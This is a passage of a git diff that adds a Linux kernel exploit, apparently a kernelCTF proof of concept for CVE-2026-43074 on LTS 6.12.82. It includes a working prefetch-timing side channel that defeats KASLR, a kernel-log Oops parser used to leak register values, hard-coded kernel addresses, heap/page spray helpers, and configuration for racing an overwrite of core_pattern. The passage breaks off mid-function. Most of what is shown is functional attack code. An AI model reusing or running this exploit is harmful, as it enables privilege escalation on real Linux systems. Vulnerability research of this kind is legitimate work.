kMeasureIterations; ++iteration) { + for (size_t slot = 0; slot < slots; ++slot) { + sample_slots[slot][iteration] = measure_prefetch_latency(addresses[slot]); + } + } + + for (size_t slot = 0; slot < slots; ++slot) { + auto avg = avg_without_outliers(sample_slots[slot]); + if (!avg) { + return {}; + } + avgs_[slot] = *avg; + } + return std::span(avgs_).first(slots); + } + + private: + [[nodiscard]] static std::optional avg_without_outliers( + std::span samples, + const uint64_t outlier_ratio = kPrefetchOutlierRatio, + const uint64_t measure_min_clean_samples = kMeasureMinCleanSamples) { + if (samples.empty()) { + return {}; + } + + std::sort(samples.begin(), samples.end()); + + const uint64_t median = samples[samples.size() / 2]; + if (median == 0) { + return {}; + } + + const uint64_t outlier_threshold = median * outlier_ratio; + size_t clean_count = samples.size() / 2; + while (clean_count < samples.size() && samples[clean_count] <= outlier_threshold) { + clean_count++; + } + + const auto clean_samples = samples.first(clean_count); + + if (clean_count < measure_min_clean_samples) { + return {}; + } + + return std::accumulate(clean_samples.begin(), clean_samples.end(), 0ull) / + clean_samples.size(); + } + + public: + std::array, kMaxKernelSlotCount> sample_slots{}; + std::array avgs_{}; +}; + +} // namespace + +static const KernelEdgeConfig kDefaultKernelEdgeConfig = { + .low_ratio = 0.9, + .high_ratio = 1.1, + .edge_delta_ratio = 0.20, + .outlier_ratio = kPrefetchOutlierRatio, +}; + +static void print_meltdown_status(void) { + FILE* fp = fopen("/sys/devices/system/cpu/vulnerabilities/meltdown", "r"); + char status[256]; + size_t len; + + if (fp == nullptr) { + printf("meltdown: unknown\n"); + return; + } + + if (fgets(status, sizeof(status), fp) == nullptr) { + fclose(fp); + printf("meltdown: unknown\n"); + return; + } + fclose(fp); + + len = strlen(status); + if (len > 0 && status[len - 1] == '\n') { + status[len - 1] = '\0'; + } + + printf("meltdown: %s\n", status); +} + +CpuType detect_cpu_type() { + uint32_t eax, ebx, ecx, edx; + CpuType cpu_type = CpuType::Unknown; + + /* ---------- Vendor ---------- */ + char vendor[13]; + __asm__ volatile("cpuid" : "=b"(ebx), "=d"(edx), "=c"(ecx) : "a"(kCpuidLeafVendor)); + + ((uint32_t*)vendor)[0] = ebx; + ((uint32_t*)vendor)[1] = edx; + ((uint32_t*)vendor)[2] = ecx; + vendor[12] = '\0'; + + printf("Vendor: %s\n", vendor); + + /* ---------- Brand String ---------- */ + char brand[49]; + uint32_t max_extended_leaf = 0; + uint32_t data[12]; + + memset(brand, 0, 49); + __asm__ volatile("cpuid" + : "=a"(max_extended_leaf), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(kCpuidLeafExtendedBase)); + + if (max_extended_leaf < kCpuidLeafBrandStringEnd) { + snprintf(brand, 49, "unknown"); + } else { + for (int i = 0; i < kCpuidBrandLeafCount; i++) { + __asm__ volatile("cpuid" + : "=a"(data[i * 4]), "=b"(data[i * 4 + 1]), "=c"(data[i * 4 + 2]), + "=d"(data[i * 4 + 3]) + : "a"(kCpuidLeafBrandStringStart + i)); + } + + memcpy(brand, data, sizeof(data)); + brand[48] = '\0'; + } + + printf("Model: %s\n", brand); + + /* ---------- Basic Info (family/model/stepping) ---------- */ + __asm__ volatile("cpuid" + : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(kCpuidLeafBasicInfo)); + + uint32_t stepping = eax & 0xF; + uint32_t model = (eax >> 4) & 0xF; + uint32_t family = (eax >> 8) & 0xF; + uint32_t ext_model = (eax >> 16) & 0xF; + uint32_t ext_family = (eax >> 20) & 0xFF; + + if (family == 6 || family == 15) { + model += (ext_model << 4); + } + if (family == 15) { + family += ext_family; + } + + printf("Family: %u\n", family); + printf("Model ID: %u\n", model); + printf("Stepping: %u\n", stepping); + print_meltdown_status(); + + const char* amd_vendor = "AuthenticAMD"; + const char* intel_vendor = "GenuineIntel"; + + if (strcmp(vendor, amd_vendor) == 0) { + if (family <= 25) { + cpu_type = CpuType::AmdFamily25; + } else if (family == 26) { + cpu_type = CpuType::AmdFamily26; + } + } else if (strcmp(vendor, intel_vendor) == 0) { + cpu_type = CpuType::IntelGeneric; + } + + if (!cpu_type_is_supported(cpu_type)) { + fprintf(stderr, "[WARNING] unsupported CPU type\n"); + } + + return cpu_type; +} + +static uint64_t measure_prefetch_latency(uint64_t address) { + uint64_t start_lo; + uint64_t start_hi; + uint64_t end_lo; + uint64_t end_hi; + + asm volatile( + ".intel_syntax noprefix;" + "mfence;" + "rdtscp;" + "mov %0, rax;" + "mov %1, rdx;" + "mfence;" + "prefetcht0 qword ptr [%4];" + "prefetcht0 qword ptr [%4];" + "mfence;" + "rdtscp;" + "mov %2, rax;" + "mov %3, rdx;" + "mfence;" + ".att_syntax;" + : "=&r"(start_lo), "=&r"(start_hi), "=&r"(end_lo), "=&r"(end_hi) + : "r"(address) + : "rax", "rbx", "rcx", "rdx", "memory"); + + return ((end_hi << 32) | end_lo) - ((start_hi << 32) | start_lo); +} + +static bool report_kernel_profile(const char* label, + uint64_t round, + std::span slot_avgs, + const KernelEdgeProfile& profile) { + const int column_width = 5; + + fprintf(stderr, "[kaslr:%s] round=%lu slots :", label, round); + for (size_t slot = 0; slot < slot_avgs.size(); ++slot) { + fprintf(stderr, " %*zx", column_width - 1, slot); + } + fputc('\n', stderr); + fprintf(stderr, "[kaslr:%s] round=%lu cycles:", label, round); + for (size_t slot = 0; slot < slot_avgs.size(); ++slot) { + fprintf(stderr, " %*lu", column_width - 1, slot_avgs[slot]); + } + fputc('\n', stderr); + + fprintf(stderr, "[kaslr:%s] round=%lu base=%.2f edge_threshold=%.2f median=%lu\n", label, round, + profile.baseline, profile.baseline * kDefaultKernelEdgeConfig.edge_delta_ratio, + profile.median); + fprintf(stderr, "[kaslr:%s] round=%lu marks :", label, round); + for (size_t slot = 0; slot < profile.slot_count; ++slot) { + char mark = '.'; + + if (profile.outliers[slot]) { + mark = '!'; + } else if (profile.edges[slot] == KernelEdgeDirection::Rise) { + mark = '^'; + } else if (profile.edges[slot] == KernelEdgeDirection::Fall) { + mark = 'v'; + } + + fprintf(stderr, " %*c", column_width - 1, mark); + } + fputc('\n', stderr); + fprintf(stderr, "[kaslr:%s] round=%lu hlb :", label, round); + for (size_t slot = 0; slot < profile.slot_count; ++slot) { + fprintf(stderr, " %*c", column_width - 1, profile.bands[slot]); + } + fputc('\n', stderr); + + return std::any_of(profile.outliers.begin(), + profile.outliers.begin() + static_cast(profile.slot_count), + [](bool outlier) { return outlier; }); +} + +static bool kernel_latency_is_outlier(uint64_t cycles, uint64_t median, double outlier_ratio) { + return median != 0 && (double)cycles > (double)median * outlier_ratio; +} + +static KernelEdgeProfile build_kernel_edge_profile(std::span slot_avgs, + const KernelEdgeConfig& config) { + KernelEdgeProfile profile; + profile.slot_count = slot_avgs.size(); + + if (slot_avgs.empty()) { + profile.baseline = 1.0; + return profile; + } + + std::array sorted_medians{}; + std::copy(slot_avgs.begin(), slot_avgs.end(), sorted_medians.begin()); + auto end = sorted_medians.begin() + static_cast(slot_avgs.size()); + std::sort(sorted_medians.begin(), end); + + profile.median = sorted_medians[slot_avgs.size() / 2]; + profile.baseline = std::max(1.0, static_cast(profile.median)); + + for (size_t slot = 0; slot < slot_avgs.size(); ++slot) { + profile.ratios[slot] = (double)slot_avgs[slot] / profile.baseline; + profile.bands[slot] = 'b'; + if (profile.ratios[slot] <= config.low_ratio) { + profile.bands[slot] = 'l'; + } else if (profile.ratios[slot] >= config.high_ratio) { + profile.bands[slot] = 'h'; + } + + if (kernel_latency_is_outlier(slot_avgs[slot], profile.median, config.outlier_ratio)) { + profile.outliers[slot] = true; + profile.bands[slot] = '!'; + } + } + + for (size_t slot = 1; slot < slot_avgs.size(); ++slot) { + const double delta = profile.ratios[slot] - profile.ratios[slot - 1]; + + if (delta >= config.edge_delta_ratio) { + profile.edges[slot] = KernelEdgeDirection::Rise; + profile.edge_delta_ratios[slot] = delta; + } else if (-delta >= config.edge_delta_ratio) { + profile.edges[slot] = KernelEdgeDirection::Fall; + profile.edge_delta_ratios[slot] = -delta; + } + } + + return profile; +} + +class KernelOffsetVoter { + public: + void record(size_t slot) { + if (slot < counts_.size()) { + counts_[slot]++; + } + } + + [[nodiscard]] std::optional winner() const { + size_t best_slot = 0; + uint32_t best_count = 0; + uint32_t second_count = 0; + + for (size_t slot = 0; slot < counts_.size(); ++slot) { + if (counts_[slot] > best_count) { + second_count = best_count; + best_count = counts_[slot]; + best_slot = slot; + } else if (counts_[slot] > second_count) { + second_count = counts_[slot]; + } + } + + if (best_count == 0 || second_count * 2 >= best_count) { + return std::nullopt; + } + + return best_slot; + } + + private: + std::array counts_{}; +}; + +static uint64_t find_kernel_probe_hit(const CpuType cpu_type, + const uint64_t kernel_text_base, + const KaslrOffsetResolver::ScanRange scan_range) { + if (!scan_range.is_valid()) { + die("invalid KASLR scan range"); + } + + KernelOffsetVoter offset_voter; + LatencySamples latency_samples; + + std::array address_buffer{}; + const auto slot_count = scan_range.slot_count(); + auto addresses = std::span(address_buffer).first(slot_count); + for (size_t slot = 0; slot < slot_count; ++slot) { + addresses[slot] = scan_range.address_of(slot); + } + fprintf(stderr, + "[kaslr] starting analysis, kernel_text_base=0x%016lx scan_start=0x%016lx " + "scan_end=0x%016lx slot_stride=0x%016lx slot_count=%zu\n", + kernel_text_base, scan_range.start, scan_range.end, scan_range.stride, slot_count); + + const KernelPattern& pattern = + cpu_type == CpuType::AmdFamily25 ? kAmdFamily25KernelPattern : kIntelGenericKernelPattern; + + size_t round = 0; + size_t trusted_rounds = 0; + for (; round < kAnalyzeRounds; ++round) { + auto measured_avgs = latency_samples.measure(addresses); + if (measured_avgs.empty()) { + fprintf(stderr, "[kaslr:kernel] round=%lu failed to collect clean latency samples\n", + round); + continue; + } + + trusted_rounds++; + + const KernelEdgeProfile edge_profile = + build_kernel_edge_profile(measured_avgs, kDefaultKernelEdgeConfig); + + if (report_kernel_profile("kernel", round, measured_avgs, edge_profile)) { + fprintf(stderr, "[kaslr:kernel] round=%lu residual outlier detected\n", round); + continue; + } + + auto candidate_slot = pattern.find(edge_profile); + if (!candidate_slot) { + fprintf(stderr, "[kaslr:kernel] round=%lu candidate_slot=none\n", round); + continue; + } + + offset_voter.record(*candidate_slot); + + const uint64_t candidate_addr = addresses[*candidate_slot]; + fprintf(stderr, + "[kaslr:kernel] round=%lu candidate_slot=%zu candidate=0x%016lx " + "image_offset=0x%lx\n", + round, *candidate_slot, candidate_addr, + addresses[*candidate_slot] - kernel_text_base); + + if (trusted_rounds < kAnalyzeValidRounds) { + continue; + } + + auto winner = offset_voter.winner(); + if (!winner) { + continue; + } + + return addresses[*winner]; + } + + return 0; +} + +uint64_t KaslrOffsetResolver::leak_image_offset() { + if (slot_count_ == 0 || slot_count_ > kMaxKernelSlotCount) { + die("invalid KASLR scan range"); + } + + CpuType cpu_type = detect_cpu_type(); + if (!cpu_type_is_supported(cpu_type)) { + fprintf(stderr, + "[WARNING] failed to detect CPU info, KASLR analysis may be less reliable\n"); + } + + uint64_t probe_hit = + find_kernel_probe_hit(cpu_type, config_.kernel_text_base, config_.scan_range); + if (probe_hit == 0) { + die("failed to resolve KASLR offset"); + } + uint64_t image_offset = probe_hit - config_.kernel_text_base; + fprintf(stderr, "[kaslr] kernel probe_hit=0x%016lx image_offset=0x%lx\n", (uint64_t)probe_hit, + image_offset); + + return image_offset; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.h new file mode 100644 index 000000000..1aa892012 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.h @@ -0,0 +1,51 @@ +#ifndef EXPLOIT_KASLR_PREFETCH_H +#define EXPLOIT_KASLR_PREFETCH_H + +#include +#include + +class KaslrOffsetResolver { + public: + static constexpr uint64_t kDefaultScanStart = 0xffffffff80000000ull; + static constexpr uint64_t kDefaultScanEnd = 0xffffffffc0000000ull; + static constexpr size_t kDefaultSlotStride = 0x1000000ull; + + struct ScanRange { + uint64_t start = 0; + uint64_t end = 0; + size_t stride = 0; + + [[nodiscard]] bool is_valid() const { + return end > start && stride != 0 && (end - start) % stride == 0; + } + + [[nodiscard]] size_t slot_count() const { return is_valid() ? (end - start) / stride : 0; } + [[nodiscard]] uint64_t address_of(size_t slot) const { return start + slot * stride; } + [[nodiscard]] uint64_t offset_of(size_t slot, uint64_t kernel_text_base) const { + return address_of(slot) - kernel_text_base; + } + }; + + struct Config { + uint64_t kernel_text_base = 0; + ScanRange scan_range = default_scan_range(); + }; + + static constexpr ScanRange default_scan_range() { + return {.start = kDefaultScanStart, .end = kDefaultScanEnd, .stride = kDefaultSlotStride}; + } + + explicit KaslrOffsetResolver(Config config) + : config_(config), slot_count_(config_.scan_range.slot_count()) {} + explicit KaslrOffsetResolver(uint64_t kernel_text_base) + : KaslrOffsetResolver( + Config{.kernel_text_base = kernel_text_base, .scan_range = default_scan_range()}) {} + + [[nodiscard]] uint64_t leak_image_offset(); + + private: + Config config_{}; + size_t slot_count_ = 0; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.cpp new file mode 100644 index 000000000..6161e3bf7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.cpp @@ -0,0 +1,194 @@ +#include "klog_reader.h" + +#include "module_context.h" +#include "shared_core.h" + +#include +#include +#include +#include +#include + +namespace { + +constexpr int kSyslogActionReadAll = 3; +constexpr int kSyslogActionSizeBuffer = 10; + +std::string_view register_field(KernelRegister reg) { + switch (reg) { + case KernelRegister::Rbx: + return "RBX:"; + case KernelRegister::R08: + return "R08:"; + case KernelRegister::Gs: + return "GS:"; + case KernelRegister::Count: + break; + } + + return {}; +} + +std::optional find_register_value(std::string_view line, std::string_view field) { + size_t cursor = 0; + + while ((cursor = line.find(field, cursor)) != std::string_view::npos) { + if (cursor == 0 || !isalnum(static_cast(line[cursor - 1]))) { + size_t value_start = cursor + field.size(); + while (value_start < line.size() && + (line[value_start] == ' ' || line[value_start] == '\t')) { + ++value_start; + } + size_t value_end = value_start; + while (value_end < line.size() && + !isspace(static_cast(line[value_end]))) { + ++value_end; + } + return line.substr(value_start, value_end - value_start); + } + ++cursor; + } + + return std::nullopt; +} + +std::optional parse_register_value(std::string_view line, KernelRegister reg) { + auto value_text = find_register_value(line, register_field(reg)); + if (!value_text || value_text->empty()) { + return std::nullopt; + } + + size_t hex_end = 0; + while (hex_end < value_text->size() && + isxdigit(static_cast((*value_text)[hex_end]))) { + ++hex_end; + } + if (hex_end == 0) { + return std::nullopt; + } + value_text = value_text->substr(0, hex_end); + + uintptr_t value = 0; + const char* begin = value_text->data(); + const char* end = begin + value_text->size(); + auto [ptr, ec] = std::from_chars(begin, end, value, 16); + if (ec != std::errc{} || ptr != end) { + return std::nullopt; + } + + return value; +} + +class OopsLogParser { + public: + explicit OopsLogParser(std::span required) : required_(required) {} + + std::optional parse(std::string_view log) const { + if (required_.empty()) { + return KernelRegisterSnapshot{}; + } + + bool reading_oops = false; + KernelRegisterSnapshot current_snapshot; + + while (!log.empty()) { + const size_t line_end = log.find('\n'); + std::string_view line = log.substr(0, line_end); + + if (line.starts_with("<4>Oops:")) { + current_snapshot = {}; + reading_oops = true; + } + + if (reading_oops) { + collect_required_registers(line, current_snapshot); + if (snapshot_has_required_registers(current_snapshot)) { + return current_snapshot; + } + if (line.starts_with("<4>---[ end trace")) { + break; + } + } + + if (line_end == std::string_view::npos) { + break; + } + log.remove_prefix(line_end + 1); + } + + return std::nullopt; + } + + private: + void collect_required_registers(std::string_view line, KernelRegisterSnapshot& snapshot) const { + for (const KernelRegister reg : required_) { + if (snapshot.value(reg)) { + continue; + } + + const auto value = parse_register_value(line, reg); + if (value) { + snapshot.set(reg, *value); + } + } + } + + bool snapshot_has_required_registers(const KernelRegisterSnapshot& snapshot) const { + return std::ranges::all_of( + required_, [&snapshot](KernelRegister reg) { return snapshot.value(reg).has_value(); }); + } + + std::span required_; +}; + +} // namespace + +std::optional KernelLogReader::read_oops_registers( + std::span required) { + if (required.empty()) { + return KernelRegisterSnapshot{}; + } + + int size = klogctl(kSyslogActionSizeBuffer, nullptr, 0); + if (size < 0) { + fprintf(stderr, "[kernel log reader] klogctl(size_buffer=%d) failed: %s\n", + kSyslogActionSizeBuffer, strerror(errno)); + return std::nullopt; + } + + std::string buffer(static_cast(size), '\0'); + + size = klogctl(kSyslogActionReadAll, buffer.data(), size); + if (size < 0) { + fprintf(stderr, "[kernel log reader] klogctl(read_all=%d) failed: %s\n", + kSyslogActionReadAll, strerror(errno)); + return std::nullopt; + } + buffer.resize(static_cast(size)); + + const std::string_view snapshot_log(buffer); + const size_t delta_start = std::min(processed_bytes_, snapshot_log.size()); + const std::string_view delta_log = snapshot_log.substr(delta_start); + fprintf(stderr, "[kernel log reader] snapshot_len=%d processed_bytes=%zu delta_len=%zu\n", size, + delta_start, delta_log.size()); + fprintf(stderr, "[kernel log reader] delta buffer:\n%.*s\n", static_cast(delta_log.size()), + delta_log.data()); + + // if "list_add corruption" in the delta log, we fail, exit directly + if (delta_log.find("list_add corruption") != std::string_view::npos) { + fprintf(stderr, + "[kernel log reader] detected 'list_add corruption' in kernel log, which " + "indicates the exploit is likely in a bad state," + "exiting to avoid infinite loop\n"); + exit(1); + } + + std::optional snapshot; + if (!delta_log.empty()) { + OopsLogParser parser(required); + snapshot = parser.parse(delta_log); + } + + processed_bytes_ = snapshot_log.size(); + return snapshot; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.h new file mode 100644 index 000000000..e72a67863 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/klog_reader.h @@ -0,0 +1,40 @@ +#ifndef EXPLOIT_KLOG_READER_H +#define EXPLOIT_KLOG_READER_H + +#include +#include +#include +#include +#include + +enum class KernelRegister : size_t { + Rbx = 0, + R08, + Gs, + Count, +}; + +class KernelRegisterSnapshot { + public: + [[nodiscard]] std::optional value(KernelRegister reg) const { + return values_[index(reg)]; + } + + void set(KernelRegister reg, uintptr_t value) { values_[index(reg)] = value; } + + private: + static constexpr size_t index(KernelRegister reg) { return static_cast(reg); } + + std::array, static_cast(KernelRegister::Count)> values_{}; +}; + +class KernelLogReader { + public: + [[nodiscard]] std::optional read_oops_registers( + std::span required); + + private: + size_t processed_bytes_ = 0; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/module_context.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/module_context.h new file mode 100644 index 000000000..7531ee1ff --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/module_context.h @@ -0,0 +1,201 @@ +#ifndef EXPLOIT_MODULE_CONTEXT_H +#define EXPLOIT_MODULE_CONTEXT_H + +#include +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEFAULT_EPOLL_MIN_NS 3000L +#define DEFAULT_EPOLL_MAX_NS 9000L +#define DEFAULT_EPOLL_STEP_NS 10L +#define DEFAULT_PARENT_BUSY_WAIT_NS 600L +#define DEFAULT_ADAPTIVE_RATC 1 +#define DEFAULT_ADAPTIVE_WINDOW_ROUNDS 2000UL +#define DEFAULT_ADAPTIVE_MAX_CLOSE_LEAD_NS 6000L +#define DEFAULT_ADAPTIVE_CALIBRATION_PLATEAU_PCT 10L +#define DEFAULT_ADAPTIVE_TIMEOUT_START_DIVISOR 4L +#define DEFAULT_ADAPTIVE_TIMEOUT_GROWTH_PCT 20L +#define DEFAULT_ADAPTIVE_TIMEOUT_BACKTRACK_LIMIT_PCT 50L +#define DEFAULT_ADAPTIVE_TIMEOUT_BINARY_SEARCH_STEPS 6UL +#define DEFAULT_ADAPTIVE_TIMEOUT_SKIP_BISECT_RANGE_PCT 15L +#define DEFAULT_ADAPTIVE_TIMEOUT_RACE_RANGE_PCT 30L +#define DEFAULT_ADAPTIVE_PARENT_SWEEP_STEPS 6L +#define DEFAULT_ADAPTIVE_PARENT_STEP_NS 400L +#define DEFAULT_ADAPTIVE_TIMEOUT_LATER_STEP_NS 200L +#define DEFAULT_ADAPTIVE_TIMEOUT_EARLIER_STEP_NS 50L +#define DEFAULT_ADAPTIVE_MAX_CALIBRATION_WINDOWS 4UL +#define DEFAULT_PHASE_ROUND_TIMEOUT_SEC 15U +#define DEFAULT_STAGE1_ROUNDS 30000UL +#define DEFAULT_STAGE2_ROUNDS 30000UL +#define DEFAULT_USE_RATC 1 +#define DEFAULT_READER_FORKS 24 +// Delay between later reader forks so the core_pattern race does not stampede all +// helpers into the same kernel window at once. +#define DEFAULT_READER_FORK_SLEEP_US 200000 +// Retry interval for each helper while it repeatedly attempts to overwrite +// /proc/sys/kernel/core_pattern. +#define DEFAULT_READER_SLEEP_US 50000 +#define DEFAULT_TRIES 4 +#define DEFAULT_SPRAY_SIZE_KB (3600000ul) +#define DEFAULT_SLOW_NPERM 0 + +#define DEFAULT_KERNEL_TEXT_BASE 0xffffffff81000000ul +#define DEFAULT_PHYS_BASE 0xffff888000000000ul +#define DEFAULT_NPERM_ADDR 0xffffffff85141000ul + +#define DEFAULT_PANIC_ON_OOPS 0xffffffff84487654ul +#define DEFAULT_EPNESTED_BASE 0xffffffff8460d4c0ul + +#define DEFAULT_TYPES_SYSLOG 0xffffffff844a3620ul +#define DEFAULT_PCPU_CRED_JAR_OFFSET 0x3b6d0ul +#define DEFAULT_EVENTPOLL_REFS_OFFSET 160ul +#define DEFAULT_CONSOLE_MUTEX 0xffffffff84583900ul +#define DEFAULT_CONSOLE_MUTEX_SPAN 0x19ul +#define DEFAULT_CONSOLE_OWNER 0xffffffff856745c0ul +#define DEFAULT_CORE_PIPE_LIMIT 0xffffffff856ccb08ul + +#define DEFAULT_EPITEM_FLLINK_OFFSET 0x50ul +#define NPERM_PAYLOAD_SIZE 0x4a0 + +static constexpr int kParentCpu = 0; +static constexpr int kAdderCpu = 1; + +struct ExploitLayout { + // base addresses + uintptr_t kernel_text_base = DEFAULT_KERNEL_TEXT_BASE; + uintptr_t phys_base = DEFAULT_PHYS_BASE; + + // Offset of a per-CPU pointer (accessed relative to the per-CPU base, + // e.g. via $gs_base on x86_64). + // + // This object is dynamically allocated and therefore does not have a + // corresponding kernel symbol. However, its offset within the per-CPU + // region is highly stable in practice and remains the same across reboots. + // + // The reason is that the allocation path and initialization order of + // per-CPU objects during boot are deterministic: the same set of per-CPU + // allocations tends to occur in the same sequence, producing a consistent + // layout and therefore a reproducible offset. + uintptr_t pcpu_cred_jar_offset = DEFAULT_PCPU_CRED_JAR_OFFSET; + + // ffffffff85125000 D __init_begin + // ffffffff85639000 R __init_end + // + // __init_begin ~ __init_end corresponds to the kernel init section. + // After kernel initialization completes, this region is freed and can be + // reallocated for other kernel objects. + // + // Once the kernel base address is leaked, the location of this region becomes + // predictable, making it a known address range usable by the nperm technique. + // + // We experimentally observed that some pages inside the init section are more + // likely to be reallocated than others. The page at 0xffffffff85141000 was + // chosen because it showed a relatively high success rate. In principle, any + // page within [__init_begin, __init_end) may work, but the probability of + // successful reuse differs across pages. + uintptr_t nperm_addr = DEFAULT_NPERM_ADDR; + + // image offsets + uintptr_t panic_on_oops; + uintptr_t epnested_mutex; + uintptr_t types_syslog; + uintptr_t console_mutex; + uintptr_t console_owner; + uintptr_t core_pipe_limit; + + // field offsets + uintptr_t eventpoll_refs_offset; + uintptr_t epitem_fllink_offset; + + void load_from_xdk(); +}; + +struct RuntimeOptions { + bool nokaslr = false; + bool analyze = false; + bool vuln_trigger = false; + bool shell_mode = false; + bool use_unmovable_nperm = false; +}; + +struct OffsetOptions { + uintptr_t image_offset = 0; + bool image_offset_set = false; + uintptr_t nperm_addr = 0; + bool nperm_addr_set = false; + + void override_image_offset(uintptr_t value) { + image_offset = value; + image_offset_set = true; + } + + void override_nperm_addr(uintptr_t value) { + nperm_addr = value; + nperm_addr_set = true; + } +}; + +struct ReaderOptions { + int forks = DEFAULT_READER_FORKS; +}; + +struct SprayOptions { + size_t size_kb = DEFAULT_SPRAY_SIZE_KB; + int slow_nperm = DEFAULT_SLOW_NPERM; +}; + +struct StageOptions { + uint64_t stage1_rounds = DEFAULT_STAGE1_ROUNDS; + uint64_t stage2_rounds = DEFAULT_STAGE2_ROUNDS; +}; + +struct PhaseOptions { + int64_t epoll_min_ns = DEFAULT_EPOLL_MIN_NS; + int64_t epoll_max_ns = DEFAULT_EPOLL_MAX_NS; + int64_t epoll_step_ns = DEFAULT_EPOLL_STEP_NS; + int64_t parent_busy_wait_ns = DEFAULT_PARENT_BUSY_WAIT_NS; + int use_ratc = DEFAULT_USE_RATC; + size_t tries = DEFAULT_TRIES; + bool adaptive_ratc = DEFAULT_ADAPTIVE_RATC != 0; + uint64_t adaptive_window_rounds = DEFAULT_ADAPTIVE_WINDOW_ROUNDS; +}; + +struct ProgramOptions { + RuntimeOptions runtime{}; + OffsetOptions offsets{}; + ReaderOptions readers{}; + SprayOptions spray{}; + StageOptions stages{}; + PhaseOptions phase{}; + ExploitLayout layout{}; + + static void print_usage(const char* program_name); + void parse(int argc, char** argv); +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/normal_nperm_api.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/normal_nperm_api.cpp new file mode 100644 index 000000000..6a43588f7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/normal_nperm_api.cpp @@ -0,0 +1,346 @@ +#include +#include +#include "module_context.h" + +#include "shared_core.h" + +#define FAST_PROBE_STEP (5ull * 1024 * 1024) +#define FAST_PROBE_MIN (64ull * 1024 * 1024) +#define FAST_LOG_EVERY (100ull * 1024 * 1024) +#define FAST_MB(value) ((unsigned long long)((value) / (1024ull * 1024ull))) +#define FAST_LOG(fmt, ...) \ + dprintf(STDERR_FILENO, "[nperm-fast pid=%d] " fmt "\n", getpid(), ##__VA_ARGS__) + +static constexpr size_t kPageSize = 4096; +static constexpr unsigned char kTouchedPageMarker = 0x41; + +typedef struct { + pid_t pid; + int release_fd; + size_t size; +} fast_holder_t; + +typedef struct { + size_t fill_size; + pid_t fresh_pid; + int fresh_cmd_fd; + int fresh_ack_fd; + void* fast_parent_maps[2]; + size_t fast_parent_map_sizes[2]; + fast_holder_t fast_holder; + bool fast_mapping_ready; +} nperm_normal_context_t; + +typedef struct { + size_t touched_size; + bool completed; +} fast_probe_result_t; + +typedef struct { + uint32_t op; + uint32_t reserved; + size_t payload_size; +} fast_fresh_cmd_t; + +typedef struct { + int32_t status; + uint32_t reserved; + size_t size; +} fast_fresh_ack_t; + +enum { + FAST_FRESH_CMD_SPRAY = 1, + FAST_FRESH_CMD_EXIT = 2, +}; + +static nperm_normal_context_t g_normal_ctx = {}; + +static size_t spray_size_bytes(const ProgramOptions& options) { + if (options.spray.size_kb > SIZE_MAX / 1024ull) { + die("spray size is too large"); + } + + return (size_t)(options.spray.size_kb * 1024ull); +} + +static void spray_payload_over_mapping(void* base, + size_t size, + const void* payload, + size_t payload_size) { + for (size_t offset = 0; offset < size; offset += kPageSize) { + memcpy((char*)base + offset, payload, payload_size); + } +} + +static void touch_every_page(void* base, size_t size) { + volatile unsigned char* bytes = (volatile unsigned char*)base; + + for (size_t offset = 0; offset < size; offset += kPageSize) { + bytes[offset] = kTouchedPageMarker; + } + + if (size != 0) { + bytes[size - 1] = kTouchedPageMarker; + } +} + +static size_t align_down_4k(size_t value) { + return value & ~(kPageSize - 1); +} + +static void write_all_or_exit(int fd, const void* data, size_t size) { + const char* bytes = (const char*)data; + size_t done = 0; + + while (done < size) { + ssize_t n = write(fd, bytes + done, size - done); + + if (n > 0) { + done += (size_t)n; + continue; + } + if (n < 0 && errno == EINTR) { + continue; + } + _exit(2); + } +} + +static int read_all_update(int fd, void* data, size_t size) { + char* bytes = (char*)data; + size_t done = 0; + + while (done < size) { + ssize_t n = read(fd, bytes + done, size - done); + + if (n > 0) { + done += (size_t)n; + continue; + } + if (n == 0) { + return done == 0 ? 0 : -1; + } + if (errno == EINTR) { + continue; + } + return -1; + } + + return 1; +} + +static void set_oom_adj(const char* value) { + int fd = open("/proc/self/oom_score_adj", O_WRONLY | O_CLOEXEC); + + if (fd < 0) { + return; + } + ssize_t ignored = write(fd, value, strlen(value)); + (void)ignored; + close(fd); +} + +static constexpr size_t kFastTestChildSize = 2200ull * 1024ull * 1024ull; +static constexpr size_t kFastTestParentSize = 1600ull * 1024ull * 1024ull; + +typedef struct { + void** map_slot; + size_t size; + int err; +} fast_parent_mmap_worker_t; + +static void* fast_test_parent_mmap_thread(void* arg) { + fast_parent_mmap_worker_t* w = (fast_parent_mmap_worker_t*)arg; + int ret = pin_thread_to_cpu(0); + if (ret != 0) { + w->err = ret; + return NULL; + } + + void* map = + mmap(NULL, w->size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_POPULATE, -1, 0); + if (map == MAP_FAILED) { + w->err = errno; + return NULL; + } + + 